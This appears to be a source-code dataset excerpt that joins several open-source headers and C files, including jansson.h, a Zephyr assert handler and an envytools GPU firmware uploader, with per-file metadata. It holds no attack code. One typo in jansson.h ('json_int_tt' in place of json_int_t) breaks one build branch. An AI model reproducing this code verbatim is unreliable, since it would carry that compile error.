815809
#pragma once #include <chrono> #include <memory> #include "envoy/common/pure.h" #include "envoy/common/time.h" #include "absl/types/optional.h" namespace Nighthawk { /** * Abstract rate limiter interface. */ class RateLimiter { public: virtual ~RateLimiter() = default; /** * Acquire a controlled resource. * @return true Indicates success. * @return false Indicates failure to acquire. */ virtual bool tryAcquireOne() PURE; /** * Releases a controlled resource. */ virtual void releaseOne() PURE; /** * @return Envoy::TimeSource& time_source used to track time. */ virtual Envoy::TimeSource& timeSource() PURE; /** * @return std::chrono::nanoseconds elapsed since the first call to tryAcquireOne(). Used by some * rate limiter implementations to compute acquisition rate. */ virtual std::chrono::nanoseconds elapsed() PURE; }; using RateLimiterPtr = std::unique_ptr<RateLimiter>; /** * Interface to sample discrete numeric distributions. */ class DiscreteNumericDistributionSampler { public: virtual ~DiscreteNumericDistributionSampler() = default; /** * @return uint64_t gets a sample value from the distribution. */ virtual uint64_t getValue() PURE; /** * @return uint64_t minimum sample value that can be returned by getValue(). */ virtual uint64_t min() const PURE; /** * @return uint64_t maximum sample value that can returned by getValue(). */ virtual uint64_t max() const PURE; }; using DiscreteNumericDistributionSamplerPtr = std::unique_ptr<DiscreteNumericDistributionSampler>; } // namespace Nighthawk
0.996094
high
lib/os/assert.c
lemrey/zephyr
35
816321
/* * Copyright (c) 2019 Nordic Semiconductor ASA * * SPDX-License-Identifier: Apache-2.0 */ #include <misc/__assert.h> #include <zephyr.h> /** * * @brief Assert Action Handler * * This routine implements the action to be taken when an assertion fails. * * System designers may wish to substitute this implementation to take other * actions, such as logging program counter, line number, debug information * to a persistent repository and/or rebooting the system. * * @param N/A * * @return N/A */ __weak void assert_post_action(const char *file, unsigned int line) { ARG_UNUSED(file); ARG_UNUSED(line); k_panic(); }
0.828125
high
win/external/jansson/include/jansson.h
eido5/cubrid
253
816833
/* * Copyright (c) 2009-2016 <NAME> <<EMAIL>> * * Jansson is free software; you can redistribute it and/or modify * it under the terms of the MIT license. See LICENSE for details. */ #ifndef JANSSON_H #define JANSSON_H #include <stdio.h> #include <stdlib.h> /* for size_t */ #include <stdarg.h> #include "jansson_config.h" #ifdef __cplusplus extern "C" { #endif /* version */ #define JANSSON_MAJOR_VERSION 2 #define JANSSON_MINOR_VERSION 10 #define JANSSON_MICRO_VERSION 0 /* Micro version is omitted if it's 0 */ #define JANSSON_VERSION "2.10" /* Version as a 3-byte hex number, e.g. 0x010201 == 1.2.1. Use this for numeric comparisons, e.g. #if JANSSON_VERSION_HEX >= ... */ #define JANSSON_VERSION_HEX ((JANSSON_MAJOR_VERSION << 16) | \ (JANSSON_MINOR_VERSION << 8) | \ (JANSSON_MICRO_VERSION << 0)) /* types */ typedef enum { JSON_OBJECT, JSON_ARRAY, JSON_STRING, JSON_INTEGER, JSON_REAL, JSON_TRUE, JSON_FALSE, JSON_NULL } json_type; typedef struct json_t { json_type type; size_t refcount; } json_t; #if JSON_INTEGER_IS_LONG_LONG #ifdef _WIN32 #define JSON_INTEGER_FORMAT "I64d" #else #define JSON_INTEGER_FORMAT "lld" #endif typedef long long json_int_t; #else #define JSON_INTEGER_FORMAT "ld" typedef long json_int_tt; #endif /* JSON_INTEGER_IS_LONG_LONG */ #define json_typeof(json) ((json)->type) #define json_is_object(json) ((json) && json_typeof(json) == JSON_OBJECT) #define json_is_array(json) ((json) && json_typeof(json) == JSON_ARRAY) #define json_is_string(json) ((json) && json_typeof(json) == JSON_STRING) #define json_is_integer(json) ((json) && json_typeof(json) == JSON_INTEGER) #define json_is_real(json) ((json) && json_typeof(json) == JSON_REAL) #define json_is_number(json) (json_is_integer(json) || json_is_real(json)) #define json_is_true(json) ((json) && json_typeof(json) == JSON_TRUE) #define json_is_false(json) ((json) && json_typeof(json) == JSON_FALSE) #define json_boolean_value json_is_true #define json_is_boolean(json) (json_is_true(json) || json_is_false(json)) #define json_is_null(json) ((json) && json_typeof(json) == JSON_NULL) /* construction, destruction, reference counting */ json_t *json_object (void); json_t *json_array (void); json_t *json_string (const char *value); json_t *json_stringn (const char *value, size_t len); json_t *json_string_nocheck (const char *value); json_t *json_stringn_nocheck (const char *value, size_t len); json_t *json_integer (json_int_t value); json_t *json_real (double value); json_t *json_true (void); json_t *json_false (void); #define json_boolean(val) ((val) ? json_true() : json_false()) json_t *json_null (void); static JSON_INLINE json_t *json_incref (json_t * json) { if (json && json->refcount != (size_t) - 1) ++json->refcount; return json; } /* do not call json_delete directly */ void json_delete (json_t * json); static JSON_INLINE void json_decref (json_t * json) { if (json && json->refcount != (size_t) - 1 && --json->refcount == 0) json_delete (json); } #if defined(__GNUC__) || defined(__clang__) static JSON_INLINE void json_decrefp (json_t ** json) { if (json) { json_decref (*json); *json = NULL; } } #define json_auto_t json_t __attribute__((cleanup(json_decrefp))) #endif /* error reporting */ #define JSON_ERROR_TEXT_LENGTH 160 #define JSON_ERROR_SOURCE_LENGTH 80 typedef struct { int line; int column; int position; char source[JSON_ERROR_SOURCE_LENGTH]; char text[JSON_ERROR_TEXT_LENGTH]; } json_error_t; /* getters, setters, manipulation */ void json_object_seed (size_t seed); size_t json_object_size (const json_t * object); json_t *json_object_get (const json_t * object, const char *key); int json_object_set_new (json_t * object, const char *key, json_t * value); int json_object_set_new_nocheck (json_t * object, const char *key, json_t * value); int json_object_del (json_t * object, const char *key); int json_object_clear (json_t * object); int json_object_update (json_t * object, json_t * other); int json_object_update_existing (json_t * object, json_t * other); int json_object_update_missing (json_t * object, json_t * other); void *json_object_iter (json_t * object); void *json_object_iter_at (json_t * object, const char *key); void *json_object_key_to_iter (const char *key); void *json_object_iter_next (json_t * object, void *iter); const char *json_object_iter_key (void *iter); json_t *json_object_iter_value (void *iter); int json_object_iter_set_new (json_t * object, void *iter, json_t * value); #define json_object_foreach(object, key, value) \ for(key = json_object_iter_key(json_object_iter(object)); \ key && (value = json_object_iter_value(json_object_key_to_iter(key))); \ key = json_object_iter_key(json_object_iter_next(object, json_object_key_to_iter(key)))) #define json_object_foreach_safe(object, n, key, value) \ for(key = json_object_iter_key(json_object_iter(object)), \ n = json_object_iter_next(object, json_object_key_to_iter(key)); \ key && (value = json_object_iter_value(json_object_key_to_iter(key))); \ key = json_object_iter_key(n), \ n = json_object_iter_next(object, json_object_key_to_iter(key))) #define json_array_foreach(array, index, value) \ for(index = 0; \ index < json_array_size(array) && (value = json_array_get(array, index)); \ index++) static JSON_INLINE int json_object_set (json_t * object, const char *key, json_t * value) { return json_object_set_new (object, key, json_incref (value)); } static JSON_INLINE int json_object_set_nocheck (json_t * object, const char *key, json_t * value) { return json_object_set_new_nocheck (object, key, json_incref (value)); } static JSON_INLINE int json_object_iter_set (json_t * object, void *iter, json_t * value) { return json_object_iter_set_new (object, iter, json_incref (value)); } size_t json_array_size (const json_t * array); json_t *json_array_get (const json_t * array, size_t index); int json_array_set_new (json_t * array, size_t index, json_t * value); int json_array_append_new (json_t * array, json_t * value); int json_array_insert_new (json_t * array, size_t index, json_t * value); int json_array_remove (json_t * array, size_t index); int json_array_clear (json_t * array); int json_array_extend (json_t * array, json_t * other); static JSON_INLINE int json_array_set (json_t * array, size_t ind, json_t * value) { return json_array_set_new (array, ind, json_incref (value)); } static JSON_INLINE int json_array_append (json_t * array, json_t * value) { return json_array_append_new (array, json_incref (value)); } static JSON_INLINE int json_array_insert (json_t * array, size_t ind, json_t * value) { return json_array_insert_new (array, ind, json_incref (value)); } const char *json_string_value (const json_t * string); size_t json_string_length (const json_t * string); json_int_t json_integer_value (const json_t * integer); double json_real_value (const json_t * real); double json_number_value (const json_t * json); int json_string_set (json_t * string, const char *value); int json_string_setn (json_t * string, const char *value, size_t len); int json_string_set_nocheck (json_t * string, const char *value); int json_string_setn_nocheck (json_t * string, const char *value, size_t len); int json_integer_set (json_t * integer, json_int_t value); int json_real_set (json_t * real, double value); /* pack, unpack */ json_t *json_pack (const char *fmt, ...); json_t *json_pack_ex (json_error_t * error, size_t flags, const char *fmt, ...); json_t *json_vpack_ex (json_error_t * error, size_t flags, const char *fmt, va_list ap); #define JSON_VALIDATE_ONLY 0x1 #define JSON_STRICT 0x2 int json_unpack (json_t * root, const char *fmt, ...); int json_unpack_ex (json_t * root, json_error_t * error, size_t flags, const char *fmt, ...); int json_vunpack_ex (json_t * root, json_error_t * error, size_t flags, const char *fmt, va_list ap); /* equality */ int json_equal (json_t * value1, json_t * value2); /* copying */ json_t *json_copy (json_t * value); json_t *json_deep_copy (const json_t * value); /* decoding */ #define JSON_REJECT_DUPLICATES 0x1 #define JSON_DISABLE_EOF_CHECK 0x2 #define JSON_DECODE_ANY 0x4 #define JSON_DECODE_INT_AS_REAL 0x8 #define JSON_ALLOW_NUL 0x10 typedef size_t (*json_load_callback_t) (void *buffer, size_t buflen, void *data); json_t *json_loads (const char *input, size_t flags, json_error_t * error); json_t *json_loadb (const char *buffer, size_t buflen, size_t flags, json_error_t * error); json_t *json_loadf (FILE * input, size_t flags, json_error_t * error); json_t *json_loadfd (int input, size_t flags, json_error_t * error); json_t *json_load_file (const char *path, size_t flags, json_error_t * error); json_t *json_load_callback (json_load_callback_t callback, void *data, size_t flags, json_error_t * error); /* encoding */ #define JSON_MAX_INDENT 0x1F #define JSON_INDENT(n) ((n) & JSON_MAX_INDENT) #define JSON_COMPACT 0x20 #define JSON_ENSURE_ASCII 0x40 #define JSON_SORT_KEYS 0x80 #define JSON_PRESERVE_ORDER 0x100 #define JSON_ENCODE_ANY 0x200 #define JSON_ESCAPE_SLASH 0x400 #define JSON_REAL_PRECISION(n) (((n) & 0x1F) << 11) #define JSON_EMBED 0x10000 typedef int (*json_dump_callback_t) (const char *buffer, size_t size, void *data); char *json_dumps (const json_t * json, size_t flags); size_t json_dumpb (const json_t * json, char *buffer, size_t size, size_t flags); int json_dumpf (const json_t * json, FILE * output, size_t flags); int json_dumpfd (const json_t * json, int output, size_t flags); int json_dump_file (const json_t * json, const char *path, size_t flags); int json_dump_callback (const json_t * json, json_dump_callback_t callback, void *data, size_t flags); /* custom memory allocation */ typedef void *(*json_malloc_t) (size_t); typedef void (*json_free_t) (void *); void json_set_alloc_funcs (json_malloc_t malloc_fn, json_free_t free_fn); void json_get_alloc_funcs (json_malloc_t * malloc_fn, json_free_t * free_fn); #ifdef __cplusplus } #endif #endif
0.996094
high
include/ghoul/opengl/shaderobject.h
OpenSpace/Ghoul
8
817345
<reponame>OpenSpace/Ghoul /***************************************************************************************** * * * GHOUL * * General Helpful Open Utility Library * * * * Copyright (c) 2012-2021 * * * * Permission is hereby granted, free of charge, to any person obtaining a copy of this * * software and associated documentation files (the "Software"), to deal in the Software * * without restriction, including without limitation the rights to use, copy, modify, * * merge, publish, distribute, sublicense, and/or sell copies of the Software, and to * * permit persons to whom the Software is furnished to do so, subject to the following * * conditions: * * * * The above copyright notice and this permission notice shall be included in all copies * * or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, * * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * * PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF * * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE * * OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * ****************************************************************************************/ #ifndef __GHOUL___SHADEROBJECT___H__ #define __GHOUL___SHADEROBJECT___H__ #include <ghoul/misc/exception.h> #include <ghoul/opengl/ghoul_gl.h> #include <ghoul/opengl/shaderpreprocessor.h> #include <functional> #include <string> #include <vector> namespace ghoul::filesystem { class File; } namespace ghoul::opengl { /** * This class is a wrapper for an OpenGL shader object. It represents a single shader * object of the types declared in ShaderObject::ShaderType. All ShaderObject%s must be * loaded from a file on disk. The shader will load the contents of the file in the * constructor (if a constructor with a filename was chosen) or in the #setFilename * method. If the file changes after it has been loaded, the ShaderObject will not change * unless #rebuildFromFile is called, which pulls the changes. Each object can have a name * that will be used for a debug label (if available) and for the logging. The type of the * ShaderObject is selected in the constructor and cannot be changed afterwards. To use * the ShaderObjects, they have to be attached to a ProgramObject first. */ class ShaderObject { public: /// Main exception that is thrown by methods of the ShaderObject class struct ShaderObjectError : public RuntimeError { explicit ShaderObjectError(std::string msg); }; /// The exception that is thrown if the compilation of a ShaderObject failed struct ShaderCompileError : public ShaderObjectError { /** * The constructor constructing a ShaderCompileError containing the cause for the * error (\p error) as well as the, optional, \p ident and \p name */ explicit ShaderCompileError(std::string error, std::string ident, std::string name); /// The compile error as reported by the GLSL compiler const std::string compileError; /// File identifiers of included files as reported by ShaderPreprocessor const std::string fileIdentifiers; /// The name of the ShaderObject that caused the compile error const std::string shaderName; }; /** * An enum of the different types of shaders that can be used in OpenGL. They can be * used interchangeably in native OpenGL calls, too. Compute shaders are only * available if OpenGL 4.3 is available. */ enum class ShaderType : std::underlying_type_t<GLenum> { Vertex = static_cast<std::underlying_type_t<GLenum>>(GL_VERTEX_SHADER), TesselationControl = static_cast<std::underlying_type_t<GLenum>>( GL_TESS_CONTROL_SHADER ), TesselationEvaluation = static_cast<std::underlying_type_t<GLenum>>( GL_TESS_EVALUATION_SHADER ), Geometry = static_cast<std::underlying_type_t<GLenum>>(GL_GEOMETRY_SHADER), Fragment = static_cast<std::underlying_type_t<GLenum>>(GL_FRAGMENT_SHADER), Compute = static_cast<std::underlying_type_t<GLenum>>(GL_COMPUTE_SHADER) }; /** * A type definition for a callback function that is called if any of * the tracked files is changed. */ using ShaderObjectCallback = std::function<void()>; /** * This constructor creates a shader of the passed type and loads the shader source * from the provided filename if it is provided. If the filename is a valid file, its * contents will be used to initialize this ShaderObject. The internal name, debug * label and logging category will be set based on the user provided name if provided. * * \param shaderType The type of shader that this ShaderObject will represent * \param filename The name of the file that will be used to load the source of this * shader * \param name The human readable name of this ShaderObject * \param dictionary The dictionary that is used for the !ShaderPreprocessor * * \throw ShaderObjectError If no new OpenGL name for the ShaderObject could be * generated * \pre \p filename must not be empty * \pre \p filename must be a file that exists */ ShaderObject(ShaderType shaderType, std::filesystem::path filename = "", std::string name = "", Dictionary dictionary = Dictionary()); /** * A copy constructor that will copy all of the internal state, and the shader source, * but it will generate a new OpenGL name for the copied object. In addition, if the * content of the specified file has changed between creating the <code>cpy</code>, * the copied Shader will use the changed file. That means a ShaderObject will not * cache the contents of the file inside. * * \param cpy The original object that will be copied * * \throw ShaderObjectError If no new OpenGL name for the ShaderObject could be * generated */ ShaderObject(const ShaderObject& cpy); /** * A move constructor that will move all of the internal state, and the shader source, * but it will leave the other object in an invalid state */ ShaderObject(ShaderObject&& rhs) noexcept; /** * The destructor will mark the OpenGL name as unused again. Because of the way the * OpenGL functions work, the name might still be in use if the ShaderObject is * attached to a ProgramObject prior to deleting. */ ~ShaderObject(); /** * The casting operator that enabled this ShaderObject to be used in native OpenGL * functions and it returns the OpenGL name. */ operator GLuint() const; /** * The assignment operator that will copy all of the internal state, and the shader * source, but it will generate a new OpenGL name for the assigned object. In * addition, if the content of the specified file has changed between creating the * <code>rhs</code>, the assigned Shader will use the changed file. That is, a * ShaderObject will not cache the contents of the file inside. * * \param rhs The original right hand side that will be used to set this object * \return A reference to <code>this</code> * * \throw ShaderObjectError If no new OpenGL name for the ShaderObject could be * generated */ ShaderObject& operator=(const ShaderObject& rhs); /** * A move assignment that will move all of the internal state, and the shader source, * but it will leave the other object in an invalid state. */ ShaderObject& operator=(ShaderObject&& rhs) noexcept; /** * Sets the internal name of this ShaderObject that changes the logging category by * incorporating the name and (if available) set the object label. * * \param name The new internal name that will be used for this ShaderObject */ void setName(std::string name); /** * Returns the internal name of this ShaderObject. * * \return The internal name of this ShaderObject */ const std::string& name() const; /** * Returns the dictionary that will be used to compile the shader object. * * \return The dictionary */ Dictionary dictionary() const; /** * Sets the dictionary of the shader object. Will trigger a rebuild from file. * * \param dictionary object */ void setDictionary(Dictionary dictionary); /** * Sets the shader object callback. * * \param changeCallback object */ void setShaderObjectCallback(ShaderObjectCallback changeCallback); /** * Returns the filepath for the shader object file. * * \return The filename */ std::filesystem::path filename() const; /** * (Re)sets the \p filename this ShaderObject is based on. It will load the contents * of the file and uses it as the source text for this ShaderObject. If the file can * not be opened or is empty an exception is thrown. The loaded shader will not * automatically compiled after loading. * * \param filename The name of the file that will be used to load this shader * * \throw FileNotFoundError If the \p filename did not point to a valid file * \throw ShaderObjectError If the file pointed to by \p filename was empty * \pre \p filename must not be empty */ void setFilename(std::filesystem::path filename); /** * Rebuild the shader object from file using the file set by setFilename and the * dictionary set by setDictionary. */ void rebuildFromFile(); /** * This method will mark the OpenGL name as unused. Because of the way the OpenGL * functions, the name might still be in use if the ShaderObject is attached to a * ProgramObject prior to deleting. */ void deleteShader(); /** * This method will compile the shader source in this ShaderObject and returns the * success of this operation. * * \throw ShaderCompileError If there was an error while compiling the ShaderObject */ void compile(); /** * Returns the type of this ShaderObject as a human readable string. * * \return The type of this ShaderObject as a human readable string */ std::string_view typeAsString() const; /** * Returns the ShaderObject <code>type</code> as a human readable string. * * \return The ShaderObject <code>type</code> as a human readable string */ static std::string_view stringForShaderType(ShaderType type); private: /// The OpenGL name of this ShaderObject GLuint _id = 0; /// The type of this ShaderObject ShaderType _type; /// The internal name of this ShaderObject; initialized to empty std::string _shaderName; /// The logger category that will be used for logging of ShaderObject methods std::string _loggerCat; /// The callback function if any of the tracked files are changed ShaderObjectCallback _onChangeCallback = nullptr; /// The preprocessor to process the shader file and track changes ShaderPreprocessor _preprocessor; }; } // namespace ghoul::opengl #endif // __GHOUL___SHADEROBJECT___H__
0.996094
high
nva/nvaxtstart.c
olvaffe/envytools
7
817857
/* * Copyright (C) 2011 <NAME> <<EMAIL>> * Copyright (C) 2011 <NAME> <<EMAIL>> * All Rights Reserved. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice (including the next * paragraph) shall be included in all copies or substantial portions of the * Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ #include "nva.h" #include <stdio.h> #include <unistd.h> int main(int argc, char **argv) { if (nva_init()) { fprintf (stderr, "PCI init failure!\n"); return 1; } int c; int cnum =0; uint32_t base = 0; while ((c = getopt (argc, argv, "c:bv")) != -1) switch (c) { case 'c': sscanf(optarg, "%d", &cnum); break; case 'b': base = 0x103000; break; case 'v': base = 0xf000; break; } if (cnum >= nva_cardsnum) { if (nva_cardsnum) fprintf (stderr, "No such card.\n"); else fprintf (stderr, "No cards found.\n"); return 1; } if (!base) { fprintf (stderr, "No engine specified. Specify -b for PBSP, -v for PVP2\n"); return 1; } if (optind >= argc) { fprintf(stderr, "At least specify payload file.\n"); return 1; } FILE *payload = fopen(argv[optind], "rb"); if (payload == NULL) { fprintf(stderr, "Binary file %s could not be opened.\n", argv[optind]); return 1; } else { fprintf(stderr, "Uploading file %s.\n", argv[optind]); } int32_t i; nva_wr32(cnum, 0x200, 0x40110011); nva_wr32(cnum, 0x200, 0xffffffff); usleep(1000); nva_wr32(cnum, 0x1700, 0x10); if (base == 0x103000) { nva_wr32(cnum, 0x701080, 0x00190000); nva_wr32(cnum, 0x701084, 0x003fffff); nva_wr32(cnum, 0x701088, 0x00300000); nva_wr32(cnum, 0x70108c, 0x00000000); nva_wr32(cnum, 0x701090, 0x00000000); nva_wr32(cnum, 0x701094, 0x00000000); } else { nva_wr32(cnum, 0x701040, 0x00190000); nva_wr32(cnum, 0x701044, 0x003fffff); nva_wr32(cnum, 0x701048, 0x00300000); nva_wr32(cnum, 0x70104c, 0x00000000); nva_wr32(cnum, 0x701050, 0x00000000); nva_wr32(cnum, 0x701054, 0x00000000); } nva_wr32(cnum, 0x1700, 0x30); nva_wr32(cnum, 0x700000, 0x00000000); nva_wr32(cnum, 0x1700, 0x20); for (i = 0; i < 0x100000; i+= 4) nva_wr32(cnum, 0x700000 + i, 0xffff06); for (i = 0; ; i += 4) { uint32_t word = 0; int y; int character = 0; for (y = 0; y < 4; y++) { character = fgetc(payload); if (character == EOF) { break; } word |= ((unsigned char)character) << (y * 8); } nva_wr32(cnum, 0x700000 + i, word); if (character == EOF) { break; } } nva_wr32(cnum, 0x70000, 1); while (nva_rd32(cnum, 0x70000)); usleep(1000); nva_wr32(cnum, base+0xd10, 0x1fffffff); nva_wr32(cnum, base+0xd08, 0xfffffff); nva_wr32(cnum, base+0xd28, 0x90044); nva_wr32(cnum, base+0xcc0, 0x2000); nva_wr32(cnum, base+0xcc4, 0x1c); nva_wr32(cnum, base+0xcc8, 0x400); nva_wr32(cnum, base+0xce4, 0x0000); nva_wr32(cnum, base+0xce8, 0x0f); nva_wr32(cnum, base+0xcec, 0x404); nva_wr32(cnum, base+0xc20, 0x3f); nva_wr32(cnum, base+0xd84, 0x3f); nva_wr32(cnum, 0x1588, nva_rd32(cnum, 0x1588) & ~0xffff); nva_wr32(cnum, 0x2500, 1); nva_wr32(cnum, 0x3200, 1); nva_wr32(cnum, 0x3250, 1); nva_wr32(cnum, 0x1700, 0x10); nva_wr32(cnum, 0x700000+0xf00, 0); nva_wr32(cnum, 0x700000+0xf04, 0); nva_wr32(cnum, 0x700000+0xf08, 0); nva_wr32(cnum, 0x700000+0xf0c, 0); nva_wr32(cnum, 0x700000+0xf10, 0); nva_wr32(cnum, 0x700000+0xf14, 0); nva_wr32(cnum, 0x700000+0xf18, 0); nva_wr32(cnum, 0x700000+0xf1c, 0); nva_wr32(cnum, 0x700000+0xf20, 0); nva_wr32(cnum, 0x700000+0xf24, 0); nva_wr32(cnum, 0x700000+0xf28, 0); nva_wr32(cnum, 0x700000+0xf2c, 0); nva_wr32(cnum, 0x700000+0xf30, 0); nva_wr32(cnum, 0x700000+0xf34, 0); nva_wr32(cnum, 0x700000+0xf38, 0); nva_wr32(cnum, 0x700000+0xf3c, 0x403f6078); nva_wr32(cnum, 0x700000+0xf40, 0); nva_wr32(cnum, 0x700000+0xf44, 0x2101ffff); nva_wr32(cnum, 0x700000+0xf48, 0x10); nva_wr32(cnum, 0x700000+0xf4c, 0); nva_wr32(cnum, 0x700000+0xf50, 0x110000); nva_wr32(cnum, 0x700000+0xf54, 0x80000); nva_wr32(cnum, 0x700000+0xf58, 0); nva_wr32(cnum, 0x700000+0xf5c, 0); nva_wr32(cnum, 0x700000+0xf60, 0); nva_wr32(cnum, 0x700000+0xf64, 0); nva_wr32(cnum, 0x700000+0xf68, 0); nva_wr32(cnum, 0x700000+0xf6c, 0); nva_wr32(cnum, 0x700000+0xf70, 0); nva_wr32(cnum, 0x700000+0xf74, 0); nva_wr32(cnum, 0x700000+0xf78, 0); nva_wr32(cnum, 0x700000+0xf7c, 0x30000fff); nva_wr32(cnum, 0x700000+0xf80, 0x4000600); nva_wr32(cnum, 0x700000+0xf84, 0); nva_wr32(cnum, 0x700000+0xf88, 0x410); nva_wr32(cnum, 0x700000+0xf8c, 0); nva_wr32(cnum, 0x700000+0xf90, 0); nva_wr32(cnum, 0x700000+0xf94, 0); nva_wr32(cnum, 0x700000+0xf98, 0x101); nva_wr32(cnum, 0x700000+0xe00, 0); nva_wr32(cnum, 0x700000+0xe04, 0); nva_wr32(cnum, 0x700000+0xe08, 0); nva_wr32(cnum, 0x700000+0xe0c, 0); nva_wr32(cnum, 0x700000+0xe10, 0); nva_wr32(cnum, 0x700000+0xe14, 0); nva_wr32(cnum, 0x700000+0xe18, 0); nva_wr32(cnum, 0x700000+0xe1c, 0); nva_wr32(cnum, 0x700000+0xe20, 0); nva_wr32(cnum, 0x700000+0xe24, 0); nva_wr32(cnum, 0x700000+0xe28, 0); nva_wr32(cnum, 0x700000+0xe2c, 0); nva_wr32(cnum, 0x700000+0xe30, 0); nva_wr32(cnum, 0x700000+0xe34, 0); nva_wr32(cnum, 0x700000+0xe38, 0); nva_wr32(cnum, 0x700000+0xe3c, 0x403f6078); nva_wr32(cnum, 0x700000+0xe40, 0); nva_wr32(cnum, 0x700000+0xe44, 0x2101ffff); nva_wr32(cnum, 0x700000+0xe48, 0x10); nva_wr32(cnum, 0x700000+0xe4c, 0); nva_wr32(cnum, 0x700000+0xe50, 0x110000); nva_wr32(cnum, 0x700000+0xe54, 0x80000); nva_wr32(cnum, 0x700000+0xe58, 0); nva_wr32(cnum, 0x700000+0xe5c, 0); nva_wr32(cnum, 0x700000+0xe60, 0); nva_wr32(cnum, 0x700000+0xe64, 0); nva_wr32(cnum, 0x700000+0xe68, 0); nva_wr32(cnum, 0x700000+0xe6c, 0); nva_wr32(cnum, 0x700000+0xe70, 0); nva_wr32(cnum, 0x700000+0xe74, 0); nva_wr32(cnum, 0x700000+0xe78, 0); nva_wr32(cnum, 0x700000+0xe7c, 0x30000fff); nva_wr32(cnum, 0x700000+0xe80, 0x4000600); nva_wr32(cnum, 0x700000+0xe84, 0); nva_wr32(cnum, 0x700000+0xe88, 0x410); nva_wr32(cnum, 0x700000+0xe8c, 0); nva_wr32(cnum, 0x700000+0xe90, 0); nva_wr32(cnum, 0x700000+0xe94, 0); nva_wr32(cnum, 0x700000+0xe98, 0x101); for (i = 0; i <= 0x1000; i+= 4) nva_wr32(cnum, 0x700000+0x6000 + i, 0); nva_wr32(cnum, 0x700000+0x7008, 0x1); if (base == 0x103000) nva_wr32(cnum, 0x700000+0x700c, 0x00600004); else nva_wr32(cnum, 0x700000+0x700c, 0x00400004); nva_wr32(cnum, 0x700000+0x1100, 0x0019003d); nva_wr32(cnum, 0x700000+0x1104, 0xffffffff); nva_wr32(cnum, 0x700000+0x1108, 0); nva_wr32(cnum, 0x700000+0x110c, 0); nva_wr32(cnum, 0x700000+0x1110, 0); nva_wr32(cnum, 0x700000+0x1114, 0); nva_wr32(cnum, 0x700000+0x9000, 1); nva_wr32(cnum, 0x70000, 1); while (nva_rd32(cnum, 0x70000)); nva_wr32(cnum, 0x2600, 0x8000100d); nva_wr32(cnum, 0x2604, 0xc000100f); nva_wr32(cnum, 0x27fc, 0x8000100e); nva_wr32(cnum, 0x32f4, 0x109); nva_wr32(cnum, 0x32ec, 0x1); nva_wr32(cnum, 0x2500, 0x101); nva_wr32(cnum, 0x700000+0x20000, 0x00040000); nva_wr32(cnum, 0x700000+0x20004, 0x00000001); nva_wr32(cnum, 0x700000+0x10000, 0x00120000); nva_wr32(cnum, 0x700000+0x10004, 0x00008000); nva_wr32(cnum, 0x70000, 1); while (nva_rd32(cnum, 0x70000)); nva_wr32(cnum, 0xc0208c, 1); return 0; }
0.898438
high
PrivateFrameworks/OfficeImport.framework/WBBorder.h
shaojiankui/iOS10-Runtime-Headers
36
818369
<filename>PrivateFrameworks/OfficeImport.framework/WBBorder.h /* Generated by RuntimeBrowser Image: /System/Library/PrivateFrameworks/OfficeImport.framework/OfficeImport */ @interface WBBorder : NSObject + (void)readFrom:(struct WrdBorder { int (**x1)(); struct CsColour { unsigned short x_2_1_1; unsigned short x_2_1_2; unsigned short x_2_1_3; unsigned short x_2_1_4; } x2; int x3; int x4; unsigned int x5 : 1; unsigned int x6 : 1; unsigned char x7; unsigned char x8; }*)arg1 to:(id)arg2; + (void)write:(id)arg1 to:(struct WrdBorder { int (**x1)(); struct CsColour { unsigned short x_2_1_1; unsigned short x_2_1_2; unsigned short x_2_1_3; unsigned short x_2_1_4; } x2; int x3; int x4; unsigned int x5 : 1; unsigned int x6 : 1; unsigned char x7; unsigned char x8; }*)arg2; @end
0.863281
high
cpp/utility/Logger.h
simpla-fusion/spdb
0
818881
/** * ____ _ ____ _ * / ___|(_)_ __ ___ | _ \| | __ _ * \___ \| | '_ ` _ \| |_) | |/ _` | * ___) | | | | | | | __/| | (_| | * |____/|_|_| |_| |_|_| |_|\__,_| * * * * * @file Logger.h * * created on: 2012-3-21 * Author: salmon * * change (20200713): * - filename => Logger.h * - namespace => sp::logger * */ #ifndef SP_LOGGER_H_ #define SP_LOGGER_H_ #include <iostream> #include <memory> #include <sstream> #include <stddef.h> #include <string> namespace sp { /** @ingroup utility */ namespace logger { int open_file(std::string const& file_name); int close(); int set_stdout_level(int l); int set_line_width(int lw); int get_line_width(); int set_mpi_comm(int rank = 0, int size = 1); /** * @ingroup utility * @addtogroup logging Log * @{ * */ enum tags { LOG_FORCE_OUTPUT = -10000, //!< LOG_FORCE_OUTPUT LOG_MESSAGE = -20, //!< LOG_MESSAGE LOG_OUT_RANGE_ERROR = -4, //!< LOG_OUT_RANGE_ERROR LOG_LOGIC_ERROR = -3, //!< LOG_LOGIC_ERROR LOG_ERROR = -2, //!< LOG_ERROR LOG_ERROR_RUNTIME = -10, //!< LOG_ERROR_RUNTIME LOG_ERROR_BAD_CAST = -11, //!< LOG_ERROR_RUNTIME LOG_ERROR_OUT_OF_RANGE = -12, //!< LOG_ERROR_RUNTIME LOG_ERROR_LOGICAL = -13, //!< LOG_ERROR_RUNTIME LOG_ERROR_DOMAIN = -14, 